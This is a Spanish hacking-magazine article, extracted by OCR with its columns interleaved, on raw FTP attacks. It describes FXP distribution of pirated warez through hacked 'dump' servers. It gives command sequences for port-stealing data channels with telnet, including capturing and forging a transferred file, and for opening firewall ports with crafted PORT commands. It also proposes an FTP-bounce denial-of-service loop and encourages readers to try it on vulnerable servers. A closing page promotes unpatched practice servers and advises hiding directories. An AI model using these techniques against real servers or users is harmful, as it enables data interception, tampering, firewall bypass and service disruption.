          Los servidores que se utilizan en las boards       Supongamos que tenemos dos servidores:
          para el intercambio y distribución no pertenecen   LlenoServer y VacioServer. El servidor
          a un miembro de la board que lo haya cedido        LlenoServer está lleno de cosas interesantes,
          amablemente, si no que suelen ser servidores       y el servidor VacioServer está vacío por lo que,
          de empresas o instituciones que han sido           por un simple principio de ósmosis, habrá de
          “hackeados” por los miembros de la board.          ser rellenado raudamente por un simpático
          Estos servidores hackeados para el fin de ser      Courier llamado PyC. Vamos a ver paso a paso
          utilizados como medio de distribución son los      cómo lo consigue.
          llamados Dumps.
                                                             2.4.4.1.         PyC entra en LlenoServer
          Aquí es donde entra precisamente el tema de
          la “fiabilidad” que mencioné antes, ya que,        En primer lugar, PyC entrará en el primer servidor
          dependiendo de la calidad del creador de los       por el mecanismo clásico de login en FTP (ya
          Dumps, será más o menos fácil que el               sabes: USER y PASS...)
          administrador legítimo de la máquina se de
                                                             2.4.4.2.         PyC entra en VacioServer
          cuenta del hackeo y cierre el Dump. Por eso,
          la vida de los Dumps en muchos casos no es         Si somos unos valientes y lo estamos haciendo
          muy larga.                                         mediante Telnet, tendremos que utilizar otra
                                                             ventana de Telnet para hacer esta segunda
          Claro que... también existen otro tipo de          conexión.
          administradores... Imaginaos que un buen día
          descubrís que en vuestro disco duro han            El software preparado para hacer FXP (como
          aparecido misteriosamente 100 películas de         el archiconocido FlashFXP) permite realizar las
          estreno en DivX, 400 discos en MP3, y los          2 conexiones en una sola aplicación.
          últimos juegos del mercado. Al día siguiente,
          el contenido ha sido renovado, apareciendo         2.4.4.3.         PyC entra en los directorios
                                                             adecuados
          cada día las últimas novedades en el disco
          duro de tu ordenador... ¡sin que tú muevas un
                                                             PyC tendrá que situarse dentro del directorio
          dedo! ¿¿Es un sueño?? ¡Pues no! Es
                                                             de LlenoServer donde están los archivos que
          precisamente lo que se encuentran los              quiere transferir al otro servidor, y dentro de
          administradores de sistemas que descubren          VacioServer tendrá que situarse en el directorio
          que les han montado un Dump en su servidor.        que tenga permisos de Upload.

          Por eso, algunos administradores consideran        2.4.4.4.     PyC le dice a LlenoServer que
          un chollo el que utilicen su disco duro como       quiere establecer un canal de datos
          medio de almacenaje para gran cantidad de
          productos que, sin duda, pueden interesar al       Aquí empieza lo interesante. El truco del FXP
          propio administrador. En caso de que haya          consiste en conseguir establecer un canal de
          algún problema... los delincuentes son los que     datos entre los dos servidores, por lo que el
                                                             primer paso es decirle al servidor que contiene
          han creado el Dump, y él es sólo una pobre
                                                             los archivos que queremos establecer un canal
          víctima. :-)
                                                             de datos.
          2.4.4. C o m a n d o s R A W p a r a F X P         Lo que queremos saber es qué puerto nos abrirá
                                                             LlenoServer para el canal de datos, para luego
          Antes de explicaros la secuencia de comandos       decírselo a VacioServer, así que el comando
          RAW que se utiliza para hacer un FXP, os           que ejecutamos en LlenoServer será
          propongo como ejercicio que tratéis de pensarlo    simplemente:
          vosotros mismos. Después, podéis comprobar
          si habéis acertado leyendo lo que os explico a     PASV
          continuación. :-)


PC PASO A PASO Nº 12                                                                                              Página 23
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




            A lo cual el servidor nos responderá con una
            IP (la suya) y un número de puerto, que es
            precisamente lo que queremos. :-)

            227 Entering Passive                    Mode
            (130,206,1,5,190,189)

            2.4.4.5.      PyC le dice a VacioServer
            que quiere establecer un canal de datos

            Ahora el que decide cómo se creará el canal
            no es el servidor, si no tú. Por tanto, en este
            caso no puedes establecer el canal mediante
            modo pasivo. Lo que tienes que hacer es
            establecer un canal utilizando la IP de
            LlenoServer y el puerto que éste nos devolvió      2.5.     PORT STEALING
            tras ejecutar el comando PASV.
                                                               Esta técnica es similar a las que expliqué en el
            El comando sería, por tanto:                       artículo de DCC, y que titulaba como
                                                               DCC Send Hijacking y DCC Chat
            PORT 130,206,1,5,190,189                           Hijacking.

            2.4.4.6.                                           Si somos observadores, nos habremos dado
                           PyC le dice a VacioServer
                                                               cuenta de un detalle interesante, y es que, para
            que quiere utilizar el canal de datos para         que funcione todo lo que he explicado hasta
            subir un archivo                                   ahora, el servidor de FTP debe permitir que un
                                                               canal de datos sea utilizado por una IP distinta
            Supongamos que el archivo que queremos             a la del usuario que estableció ese canal. Es
            mover se llama lco.nfo. Bastará con que le         decir, al hacer por ejemplo un FXP, la IP desde
                                                               la cual se establece el canal de datos es la del
            digamos a VacioServer:
                                                               courier (PyC), mientras que la IP que
                                                               efectivamente se conecta al canal de datos es
            STOR lco.nfo                                       la IP del otro servidor.

            2.4.4.7.       PyC le dice a LlenoServer           Por supuesto, no todos los servidores permiten
            que quiere utilizar el canal de datos para         esto. De hecho, suele ser un parámetro de
                                                               configuración en cualquier software de servidor
            bajar un archivo
                                                               FTP. Si permites que esto ocurra, estarás
                                                               facilitando una gran variedad de ataques (FTP
            Aquí, al contrario, haremos:                       Bounce, Port Stealing, ...). En cambio, si no lo
                                                               permites, no se podrá hacer FXP a tu servidor.
            RETR lco.nfo                                       Por tanto, a la hora de configurar un servidor
                                                               de FTP, cuando te encuentres con este
                                                               parámetro, sólo has de plantearte una pregunta:
            y... ¡hop! El archivo comienza a FXPearse :-)
                                                               ¿Quiero que mi servidor pueda hacer FXP?
                                                               Si la respuesta es SI, entonces configura tu
            También podríamos hacer lo mismo invirtiendo       servidor para que permita conexiones con IPs
            el sentido del canal de datos (desde VacioServer   diferentes.
            hacia LlenoServer), así que os propongo como
            ejercicio que penséis cómo sería.                  Si la respuesta es NO, entonces cierra esa
                                                               posibilidad.

Página 24                                                                                          PC PASO A PASO Nº 12
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




          En caso de que nos encontremos con un                de FTP, puede dedicarse a hacer un reload
          servidor que SI permita esto, tendremos abiertas     para ver el contenido del directorio, o bien
          las puertas para el Port Stealing. Claro que...      dedicarse a bajar todas las fotos de pollas que,
          en realidad la cosa es mucho peor, ya que lo         supuestamente, ocuparán pocos KBs, por lo
          que nunca se podrá impedir desde el servidor         que se establecerán varios canales de datos en
          es que se haga un Port Stealing contra el            poco tiempo (este segundo método será, sin
          cliente, y no contra el servidor. Pero... mejor      duda, menos sospechoso por si acaso el admin
          no nos precipitemos. Vamos a ver                     revisa los logs del servidor).
          detenidamente cuáles son las 2 formas de
          hacer un Port Stealing, o Hijacking, en FTP.         El objetivo de ejecutar muchos PASV es
                                                               precisamente el mismo que el que explicaba
          2.5.1. Port Stealing contra el servidor              en el artículo sobre DCC: averiguar qué puertos
                                                               nos ofrece el servidor para transferir los datos.
          Supongamos que nos encontramos con un                En el mejor de los casos, PyC habrá encontrado
          servidor que permite hacer FXP. Por tanto,           algún tipo de “patrón”: que los puertos que
          permite que se conecte a un canal de datos           ofrece el servidor en cada canal de datos pasivo
          una IP diferente a la del usuario que lo             son consecutivos, que se encuentran dentro de
          estableció. En ese caso... ¿qué nos impide           un rango relativamente pequeño, o bien que
          teóricamente conectarnos al canal de datos           son totalmente aleatorios.
          que establezca otro usuario? Pues,
          teóricamente, nada. :-)                              Lo más habitual es que los puertos sean
                                                               totalmente aleatorios, por lo que normalmente
          Ahora bien, en la práctica, la cosa es bastante      será realmente complicado hacer un Port
          más complicada. Pero vamos a verlo con un            Stealing contra el servidor, ya que habría mas
          ejemplo.                                             de 60.000 puertos a muestrear. En cambio, si
                                                               se ha encontrado algún patrón en los puertos
          En esta ocasión, nuestro héroe PyC trabaja           que ofrece el servidor por cada comando PASV,
          como espía, y su misión es desbaratar los            entonces podremos hacer un muestreo de esos
          planes de la oscura nación de Pollilandia            puertos exactamente igual que hacíamos con
          (www.pollilandia.cjb.net), que pretende dominar      el DCC.
          nuestra nación.
          Por suerte, PyC conoce la IP del servidor            Supongamos que PyC ha encontrado esta serie
          principal de los servicios de inteligencia de        de respuestas ante cada comando PASV que
          Pollilandia, y además tiene el login y el password   ha ejecutado:
          de FTP de un agente de los Pollos (consiguió
          todo esto gracias a un DCC Chat Hijacking y          227   Entering   Passive   Mode   (130,206,1,5,190,172)
                                                               227   Entering   Passive   Mode   (130,206,1,5,190,175)
          un poco de ingeniería social). Por desgracia,
                                                               227   Entering   Passive   Mode   (130,206,1,5,190,177)
          este agente no tiene acceso a los documentos         227   Entering   Passive   Mode   (130,206,1,5,190,183)
          importantes, si no simplemente a una cuenta          227   Entering   Passive   Mode   (130,206,1,5,190,184)
          personal en la que se ha dedicado a almacenar
          fotos de pollas desnudas (ejem... espero que         Como vemos, los puertos son casi consecutivos.
          deis el significado correcto a esa palabra...).      Después de un comando PASV, el puerto que
          Pero esto será suficiente para nuestro               abrirá en el próximo no distará más de 10 con
          protagonista. :-)                                    respecto al anterior. Por cada PASV que
                                                               ejecutáramos, bastaría con muestrear los 10
          L                                                    puertos siguientes para intentar capturar el
          o primero que hace PyC es conectarse al s            próximo canal de datos que intentase establecer
          ervidor FTP utilizando la cuenta del agente. U       otro usuario.
          na vez dentro, tiene que conseguir lanzar un m
          ontón de peticiones para establecer un canal d       Supongamos que en el servidor de los Pollos
          e datos mediante modo pasivo. Es decir, ha d         está conectado, a la vez que PyC, el temible
          e lanzar un montón de comandos PASV. Si n            General PolloDios, líder de los Pollos, con acceso
          o está por Telnet, si no utilizando un cliente       a todos los documentos secretos. Si se

PC PASO A PASO Nº 12                                                                                                     Página 25
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




            encontrase bajando en esos momentos un             tiene que leer el aviso y decidir si lo acepta o
            documento importante, ésta sería la secuencia      no. Este tiempo puede ser incluso de varios
            de comandos que ejecutaría su cliente de FTP:      segundos, por lo que hay un tiempo realmente
                                                               grande para colarse antes de que el usuario
            PASV                                               legítimo acepte la petición.
            227 Entering Passive                    Mode
            (130,206,1,5,190,186)                              En cambio, en el caso del FTP, el tiempo que
            RETR perfido.plan                                  transcurre entre un comando PASV y el
                                                               siguiente comando (LIST, NLST, RETR, o
            Pero como nuestro protagonista PyC conocía         STOR) es realmente pequeño. A no ser que
            ya el patrón de los puertos que abre el servidor   sepamos el número exacto de puerto y hagamos
            de los Pollos, estaba muestreando el puerto        un escaneo masivo a ese puerto, será
            48826 (os propongo como ejercicio que              relativamente difícil que consigamos colarnos
            comprobéis que este es el puerto que ha abierto    antes.
            el servidor, según la secuencia de comandos
            que os acabo de mostrar), por lo que consiguió     - En tercer lugar, como acabo de decir, después
            establecer él la conexión con el canal de datos,   de un comando PASV hay 4 posibles comandos:
            y colarse en lugar del General PolloDios.          LIST, NLST, RETR, y STOR. Esto puede
                                                               suponer un problema, ya que cuando nosotros
            Automáticamente, en el cliente de Telnet de        capturamos un canal de datos, no tenemos ni
            PyC aparecieron los contenidos del pérfido plan    idea de para qué va a ser utilizado.
            de los Pollos. Ahora ya solo faltaba               En los dos primeros casos: LIST, y NLST, no
            desbaratarlo...                                    habrá mucho problema, ya que bastará con
                                                               que hagamos un Telnet al puerto adecuado y
            Ha quedado muy bonito, si, pero... me temo         recibiremos el listado de archivos.
            que tenemos que ser un poco más
            realistas. ;-)                                     En el tercer caso, con el comando RETR, en
                                                               cambio, recibiremos una ristra de bytes, y
            Los problemas del Port Stealing                    tendremos que ser un poco astutos para saber
                                                               de qué demonios se trata. Como ya comenté
            Existen básicamente 4 problemas que hacen          en el artículo sobre DCC, cada tipo de archivo
            que todo esto no sea tan fácil, y son los          tiene una cabecera diferente, por lo que podéis
            siguientes:                                        llegar a saber de qué tipo de archivo se trata.
                                                               Lo que ya no podréis saber es el nombre del
            - En primer lugar, ya he comentado que la          archivo, pero eso generalmente no suele ser
            mayoría de los servidores de FTP no siguen         un dato de vital importancia.
            ningún patrón a la hora de ofrecer puertos
            para los canales pasivos, si no que ofrecen        Pero... ¿y si os quedáis esperando como bobos
            puertos totalmente aleatorios. Esto hace           a que empiecen a llegar los datos y no llega
            que sea prácticamente imposible hacer un           nada de nada? Entonces probablemente es que
            muestreo de puertos efectivo, a no ser que se      ese canal de datos era para un STOR, por lo
            hiciese de forma distribuida y además se tuviese   que en ese caso deberías ser TU el que enviase
            algo de suerte.                                    algo a través de ese canal (ya veremos esto en
                                                               un ejemplo más adelante). No hay forma de
            - En segundo lugar, todo esto era mucho más        saber si un canal de datos se utilizará para
            sencillo con DCC por un factor que ya comenté      recibir o para enviar datos, por lo que una
            en ese artículo: el factor humano. El tiempo       buena idea sería hacer un programa que tratase
            que transcurre entre que un usuario de IRC         de recibir datos, y si no recibiese nada en un
            recibe una petición de DCC (la típica ventana      margen de tiempo, comenzase entonces a
            que te pregunta si decides aceptar el envío de     enviarlos él.
            un archivo) y entre que la acepta y comienza
            la transferencia, es un tiempo que no depende      - Por último, tenemos un problema que sí que
            de una máquina, si no de una persona que           había también con el DCC, y es que el usuario


Página 26                                                                                          PC PASO A PASO Nº 12
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




          legítimo no podrá conectarse con el canal          Una vez que PyC estudió con detenimiento los
          de datos que acaba de establecer, por lo           detalles del plan de los Pollos, se dio cuenta de
          que siempre resultará bastante sospechoso.         que parte del plan consistía en que el General
                                                             PolloDios enviase al servidor un boletín diario
          2.5.2. Port Stealing contra el cliente             de órdenes que debían bajar todos sus agentes
                                                             para ejecutarlas. Así que PyC decidió capturar
          En este segundo caso, al menos según mi            el próximo boletín de órdenes de PolloDios,
          experiencia, la probabilidad de éxito es mucho     para modificarlo a su conveniencia.
          más alta. Y es que, si bien los servidores de
          FTP suelen estar bien programados para evitar      Gracias a las increíbles habilidades de ingeniería
          este tipo de ataques, los programadores de         social de PyC, éste descubrió que el General
          clientes de FTP parece que no asistieron a         PolloDios era el fan número uno de Jackie-
          clase ese día, y muchos son realmente inseguros    Chan, por lo que montó un servidor FTP con
          en este sentido.                                   todas sus pelis en DivX, y consiguió abrir en él
                                                             una cuenta a PolloDios.
          Tanto este tipo de ataque, como el FTP Bounce,
          podrían ser evitados si tan sólo los servidores    Ahora su esperanza era que PolloDios no utilizase
          de FTP estuviesen configurados para forzar a       modo pasivo, pero... en cuanto se conectó
          que sus usuarios utilizasen siempre modo           PolloDios PyC comprobó desconsolado que, en
                                                             efecto, utilizaba modo pasivo. :-(
          pasivo. De hecho, el RFC 2577, el cual
          mencioné en el artículo anterior, recomienda
                                                             ¡Pero eso no era problema! PyC recordó que
          expresamente el uso del modo pasivo.               es un problema habitual el de los servidores de
          Pero este no es el motivo por el que digo que      FTP con modo pasivo cuando se encuentran
          muchos clientes de FTP no están “bien              detrás de un firewall, sobre todo si el servidor
          programados”.                                      no se aloja en el puerto 21, que es el estándar
                                                             de FTP, por lo que decidió informar a todos los
          El motivo es simplemente que utilizan puertos      usuarios de su FTP de que el modo pasivo no
          consecutivos para el FTP activo. Ahora lo          funcionaría en su servidor, debido a que éste
          veremos más detenidamente.                         se encontraba detrás de un firewall. Así que
                                                             ahora todos los usuarios, incluido PolloDios,
          A pesar de ser una técnica más efectiva que        estaban forzados a utilizar modo activo. ]:-)
          la del hijacknig contra el servidor, tiene un
          requisito que la anterior no tenía, y es que       Lo único que tenía que hacer ahora PyC era
          aquí hay que conocer al usuario cuyas              fijarse atentamente en los logs de pantalla
          conexiones queremos capturar. Si recordamos        de su servidor. Su objetivo era conseguir que
          el artículo sobre DCC, estas son las 3 variables   PolloDios estableciese muchos canales de
          que debemos conocer para tener éxito en un         datos, para poder buscar el patrón que seguían
          hijacking:                                         los puertos que utilizaba en los comandos
                                                             PORT, por lo que partió las pelis de Jackie-
          - La IP de la “víctima”.                           Chan en archivos RAR de 1MB, para que tuviese
                                                             que estar constantemente estableciendo
          - El puerto que utilizará la “víctima” para su     canales diferentes. Esta fue la secuencia de
          canal de datos.                                    comandos PORT que ejecutó PolloDios en el
                                                             servidor de PyC:
          - El instante en el que la “víctima” abrirá ese
          canal de datos.                                    PORT 22,69,22,69,19,236
                                                             PORT 22,69,22,69,19,237
          Existe una forma idónea para conseguir             PORT 22,69,22,69,19,239
          simultáneamente los 3 datos que necesitamos,       PORT 22,69,22,69,19,242
          y consiste simplemente en abrir una cuenta a       PORT 22,69,22,69,19,243
          la víctima en nuestro propio servidor.
          Vamos a verlo continuando con el ejemplo.          ¡Vaya! Esto si que son puertos consecutivos. :-D


PC PASO A PASO Nº 12                                                                                              Página 27
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




            Y es que resulta que muchos clientes de FTP                general de los Pollos: N-22, E-69. Llamó al
            utilizan puertos consecutivos en los comandos              nuevo archivo: ordenes.pyc.
            PORT. Pero... ¿por qué a veces hay un pequeño
            salto?... ¿no será que PolloDios se                        Como PolloDios vio que la transferencia del
            encuentra al mismo tiempo conectado a otro                 boletín había fallado (ya que la había capturado
            servidor de FTP con el mismo cliente, y éste               PyC, aunque él desconocía que ese era el
            está alternando los puertos entre uno y otro?              motivo), decidió reintentarlo, pero esta vez
            A ver qué pasa si muestreamos ahora el puerto              utilizando modo pasivo, para ver si ahí se
            5108... (que podéis comprobar que                          encontraba el problema. Así que ejecutó en el
            sería el siguiente puerto al último que utilizó            servidor de los Pollos:
            PolloDios).
                                                                       PASV
            Re s u l t a q u e , d e s p u é s d e e j e c u t a r :   227 Entering Passive Mode (130,206,1,5,190,189)
                                                                       STOR ordenes.pollodios
            PORT 22,69,22,69,19,243
                                                                       Pero lo que no sabía es que PyC ya estaba
            en el servidor de PyC, el cliente de FTP de                preparado, y había lanzado inmediatamente un
            PolloDios ejecutó:                                         Port Stealing contra el servidor de los Pollos,
                                                                       haciendo:
            PORT 22,69,22,69,19,244
            STOR ordenes.pollodios                                     telnet 130.206.1.5 48829 < ordenes.pyc

            en el servidor de los Pollos.                              Por lo que el boletín que aparición en el disco
            Pero PyC ya estaba preparado, y había                      duro del servidor de los Pollos no fue el de
            ejecutado previamente:                                     PolloDios, si no el de PyC, que apareció no con
                                                                       el nombre que le había dado PyC (ordenes.pyc),
            telnet 22.69.22.69 5108 > ordenes.pollodios                si no con el nombre que había especificado
                                                                       PolloDios en su comando STOR, es decir:
            Por lo que, en el momento en que PolloDios                 ordenes.pollodios.
            ejecutó el comando:
                                                                       Inmediatamente, los agentes Pollo comenzaron
            STOR ordenes.pollodios                                     a conectarse al servidor para bajar el último
                                                                       boletín de órdenes y, sin pensárselo dos veces,
            El cliente de Telnet de PyC se coló antes que              lanzaron la tortilla atómica sobre el cuartel
            el servidor FTP de los Pollos, consiguiendo dos            general de los Pollos, tal y como indicaban
            cosas:                                                     sus órdenes, terminando así para siempre
                                                                       con la amenaza de los temibles Pollos
            - Evitar que PolloDios enviase el boletín al               colonialistas. ;-D
            servidor.
                                                                       2.5.3. Resumen del Port Stealing
            - Ver el contenido del boletín.
            E s t e e ra e l c o n t e n i d o d e l a r c h i v o     Quizá no han quedado del todo claros los efectos
            ordenes.pollodios:                                         de los diversos tipos de Port Stealing, ya que
                                                                       son 4 diferentes:
            ORDEN: Disparar tortilla atómica T-22
            COORDENADAS: N-35, E-87                                    - Contra el servidor, y contra un comando
                                                                       RETR, LIST, o NLST
            Vaya, vaya... así que quería lanzarnos una
            tortilla atómica... pues les pagaremos con su              - Contra el servidor, y contra un comando
            propia moneda. ;-)                                         STOR

            PyC modificó ligeramente el boletín, cambiando             - Contra el cliente, y contra un comando RETR,
            las coordenadas para que fuesen las del cuartel            LIST, o NLST


Página 28                                                                                                  PC PASO A PASO Nº 12
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




          - Contra el cliente, y contra un comando             restringir el número de puertos para FTP a un
          STOR                                                 intervalo limitado, ya que entonces estaríamos
                                                               favoreciendo enormemente los ataques de Port
          Resumo en una tabla lo que se puede conseguir        Stealing contra el servidor.
          con cada uno de los 4:
                                                               Entonces,         ¿cuál   es la solución?
                                                                                           Como ya mencioné
                                                                                           en el artículo
                                                                                           anterior, el protocolo
                                                                                           FTP         ha      sido
                                                                                           considerado siempre
                                                                                           como uno de los
                                                                                           p r i n c i p a l e s
                                                                                           protocolos de
                                                                                           Internet, desde
                                                                                           luego, mucho más
                                                                                           importante que DCC.
                                                                                           Por tanto, los
                                                                                           f i r e wa l l s s u e l e n
                                                                                           implementar un
                                                                                           mecanismo especial
                                                                                           que permite el
                                                                                           c o r r e c t o
          2.6.  APERTURA DE PUERTOS EN                         funcionamiento del FTP con puertos aleatorios.
          FIREWALLS                                            Cualquier firewall decente será capaz de analizar
                                                               los paquetes que circulen a través de él que
          ¿Os habéis fijado cuando he comentado que            tengan como puerto de origen el 21, que es el
          algunos servidores FTP no funcionan en modo          estándar de FTP. Cuando detecte el firewall que
          pasivo si estás detrás de un firewall?               ese paquete es una respuesta a un comando
          Seguramente os habrá extrañado el detalle            PASV, éste buscará automáticamente dentro
          que he mencionado de que esto ocurre cuando          del mensaje de respuesta el número de puerto
          el servidor no se aloja en el puerto 21. Ahora       que se ha devuelto. Automáticamente, el firewall
          mismo os explico a qué se debe esto, porque          abrirá dinámicamente ese puerto de forma
          precisamente con esto está relacionada la            temporal, hasta que se establezca una conexión
          técnica que explicaré a continuación.                con el mismo.

          2.6.1. Servidores de FTP detrás de un                Probablemente os habréis encontrado alguna
          firewall                                             vez con algún servidor de FTP que no funciona
                                                               en modo pasivo (probablemente algún Dump).
          Si sois un poco avispados, se os habrá pasado        Lo más probable es que ese servidor no se
          por la cabeza una idea, sobre todo si estudiasteis   encuentre en el puerto 21 (como se suele hacer
          con detenimiento mi artículo sobre DCC. Y es         con los Dumps, para que sean más difícilmente
          que en ese artículo explicaba que, si estás          detectables) y que tenga precisamente este
          detrás de un firewall, tienes que abrir              problema.
          explícitamente una serie de puertos en el
          firewall para que pueda funcionar el DCC. Pero       2.6.2. Clientes de FTP detrás de un
          entonces, ¿qué ocurre con el FTP, donde los          firewall
          servidores abren puertos aleatoriamente cada
          vez que se quiere abrir un canal de datos en         El mismo problema tenemos con los clientes,
          modo pasivo? Evidentemente, no se pueden             pero esta vez con el modo activo. ¿Cómo
          abrir 64.000 puertos en el firewall, entre otras     puede funcionar un comando PORT utilizando
          cosas, porque entonces el firewall no serviría       puertos aleatorios si está detrás de un firewall?
          para nada. Y lo que tampoco es solución es           Pues el firewall tendrá que incorporar un


PC PASO A PASO Nº 12                                                                                                      Página 29
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




            mecanismo análogo, que analice esta vez los       bucle infinito en un servidor de FTP
            paquetes que tengan como puerto de destino        aprovechando su vulnerabilidad de FTP Bounce.
            el 21, y que contengan un comando PORT. El
            firewall abrirá dinámicamente el puerto           Imaginemos que tenemos cuenta en un servidor,
            especificado en el comando PORT.                  cuyo login y password es:

            2.6.3. Apertura de puertos utilizando             login: PyC
            comandos PORT                                     password: LCo

            Entonces... ¿qué ocurrirá si creamos nosotros     Tenemos un directorio Upload con permisos de
            nuestros propios comandos PORT a nuestra          escritura, donde podemos subir nuestros
            conveniencia? Pues, teóricamente, que             archivos.
            conseguiremos abrir el puerto que queramos
            en el momento que queramos. :-)                   La IP del servidor es 215.22.69.22.
                                                              Pues bien, en primer lugar creamos un archivo
            Bastará con que nos conectemos a un servidor      de texto con el siguiente contenido:
            FTP cualquiera, como por ejemplo el de
            Rediris del que ya os hablé, y una vez dentro     USER PyC
            ejecutemos por ejemplo:                           PASS LCo
                                                              CWD Upload
            PORT 192,168,1,1,0,25                             PORT 215,22,69,22,0,21
                                                              RETR bucle.dos
            Donde 192.168.1.1 es la IP de la máquina en
            la que nos encontramos. Con sólo enviar este      Llamaremos a este archivo: bucle.dos.
            comando al servidor de Rediris, habremos          Si ahora subimos este archivo al directorio
            abierto el puerto 25 de nuestra máquina para      Upload del servidor, y a continuación ejecutamos
            que alguien del exterior se conecte a él.         esta secuencia de comandos:
            Esto no tiene mucho sentido hacerlo en tu
            propio PC de casa, pero puede ser un problema     PORT 215,22,69,22,0,21
            por ejemplo en una empresa en la que los          RETR bucle.dos
            empleados tengan limitado el acceso hacia y
            desde el exterior, o bien puede ser una           Lo que debería ocurrir es que, debido al FTP
            herramienta que utilice alguien que ha            Bounce, el servidor se conectase a sí mismo
            conseguido hackear parcialmente tu máquina        para enviar la secuencia de comandos que
            para conseguir abrir nuevos puertos para          contiene nuestro archivo, la cual a su vez lo
            troyanos o cualquier otro servicio.               que haría sería volver a conectarse a sí mismo,
                                                              y así hasta el infinito.
            Por supuesto, hay firewalls que están
            preparados para evitar este tipo de ataques,      Personalmente, sólo hice esta prueba una vez,
            pero os aseguro que hay muchos que no lo          y no funcionó, probablemente porque el servidor
            están. Sin irnos muy lejos, algunas versiones     no era vulnerable a este tipo de ataques. Pero
            de iptables de Linux, así como algunos routers    apuesto a que habrá algún software que sí que
            ADSL.                                             sea vulnerable, por lo que os propongo como
                                                              ejercicio que hagáis pruebas hasta que deis
            2.7.     ¿POSIBLE DoS?                            con algún servidor vulnerable, y analicéis los
                                                              resultados.
            Por último, os planteo un ejercicio interesante
            cuyos resultados, sinceramente, desconozco.       Si lo hacéis, de paso me contáis los resultados,
            0:-)                                              que tengo curiosidad. Ya sabéis que me podéis
                                                              encontrar por EfNet. ;-)
            Hace tiempo, jugando un poco con el FTP
            Bounce, se me ocurrió una idea un tanto           Autor: PyC (LCo)
            rebuscada. La idea consistía en provocar un


Página 30                                                                                         PC PASO A PASO Nº 12
SERVIDOR DE HXC
                                               MODO DE EMPLEO


- Hack x Crack      ha habilitado tres
servidores para que puedas realizar las                                                                 Explicamos esto porque la mayoría, seguro que piensa en
                                                                                                        un Servidor Web como en algo extraño que no saben ni
prácticas de hacking.                                                                                   donde está ni como se accede. Bueno, pues ya sabes dónde
                                                                                                        se encuentran la mayoría de IIS (en Inetpub) y cuál es
- Las IPs de los servidores de hacking las                                                              la página por defecto (Inetpubwwwrootdefault.htm). Y
encontrarás en EL FORO de la revista                                                                    ahora, piensa un poco… … ¿Cuál es uno de los objetivos de
( w w w . h a c k x c r a c k . c o m ) . Una vez en el foro entra                                      un hacker que quiere decirle al mundo que ha hackeado
en la zona COMUNICADOS DE HACK X CRACK (arriba del                                                      u n a We b ? P u e s e s t á c l a r o, e l o b j e t i vo e s c a m b i a r ( o s u s t i t u i r )
todo) y verás varios comunicados relacionados con los                                                   el archivo default.html por uno propio donde diga “hola,
servidores. No ponemos las IP aquí porque es bueno                                                      soy DIOS y he hackeado esta Web” (eso si es un lamer ;)
acostumbrarte a entrar en el foro y leer los comunicados.
Si hay alguna incidencia o cambio de IP o lo que sea, se                                                A partir de ese momento, cualquiera que acceda a ese
comunicará en EL FORO.                                                                                  s e r v i d o r, v e r á e l d e f a u l t . h t m m o d i f i c a d o p a r a v e r g ü e n z a d e l
                                                                                                        “site” hackeado. Esto es muy genérico pero os dará una
                                                                                                        idea de cómo funciona esto de hackear Webs ;)
- Actualmente tienen el BUG del Code /
D e c o d e . La forma de “explotar” este bug la explicamos                                             - Cuando accedas a nuestro servidor mediante el CODE /
extensamente en los números 2 y 3. Lo dejaremos así por                                                 DECODE BUG, crea un directorio con tu nombre (el que mas
un tiempo (bastante tiempo ;) Nuestra intención es ir                                                   te guste, no nos des tu DNI) en la unidad d: a ser
habilitando servidores a medida que os enseñemos distintos                                              posible y a partir de ahora utiliza ese directorio para hacer
tipos de Hack.                                                                                          t u s p r á c t i c a s . Ya s a b e s , s u b i r n o s p r o g r a m i t a s y p r a c t i c a r
                                                                                                        con ellos :) ... ... ¿cómo? ¿que no sabes crear directorios
- En los Servidores corre el Windows 2000 con el IIS
de Servidor Web. No hemos parcheado ningún bug, ni                                                      mediante el CODE/DECODE BUG... repasa los números 2 y
t a n s i q u i e ra e l R P C y p o r s u p u e s t o t a m p o c o h e m o s i n s t a l a d o        tres de Hack x Crack ;p
n i n g ú n S e r v i c e Pa c k . Pa ra q u i e n p i e n s e q u e e s o e s u n e r r o r
(lógico si tenemos en cuenta que el RPC provoca una caída                                               Puedes crearte tu directorio donde quieras, no es necesario
completa del sistema), solo decirte que AZIMUT ha                                                       que sea en d:mellamojuan. Tienes total libertad!!! Una
configurado un firewall desde cero que evita el bug del                                                 i d e a  e s    c r e a r l o , p o r   e j e m p l o , e n
RPC, (bloqueo de los puertos 135 (tcp/udp), 137 (udp),                                                  d:xxxsystem32default10019901mellamojuan (ya irás
138 (udp), 445 (tcp), 593 (tcp)). La intención de todo esto                                             aprendiendo que cuanto mas oculto mejor :)
es, precisamente, que puedas practicar tanto con el
CODE/DECODE como con cualquier otro “bug” que conozcas
(y hay cientos!!!). Poco a poco iremos cambiando la                                                     Es posiblemente la primera vez que tienes la oportunidad
c o n f i g u ra c i ó n e n f u n c i ó n d e l a e x p e r i e n c i a , l a i d e a e s t e n e r    de investigar en un servidor como este sin cometer un delito
los Servidores lo menos parcheados posibles                                                 pero        (nosotros te dejamos y por lo tanto nadie te perseguirá).
mantenerlos operativos las 24 horas del día. Por todo ello                                              Aprovecha la oportunidad!!! e investiga mientras dure esta
y debido a posibles cambios de configuración, no olvides                                                iniciativa (esperemos que muchos años).
visitar el foro (Zona Comunicados) antes de “penetrar” en
nuestros servidores.                                                                                    - En este momento tenemos mas de 600 carpetas de peña
                                                                                                        que, como tu, está practicando. Así que haznos caso y crea
- Cada Servidor             tiene dos unidades (discos duros duros):                                    t u p r o p i a c a r p e t a d o n d e t r a b a j a r.
* La unidad c:              --> Con 40GB y Raíz del Sistema
* La unidad d:              --> Con 40GB
* La unidad e:              --> CD-ROM

N o t a : R a í z d e l S e r v i d o r,   s i g n i f i c a q u e e l W i n d o w s A d va n c e d

                                                                                                              !
Server está instalado                      en esa unidad (la unidad c:) y
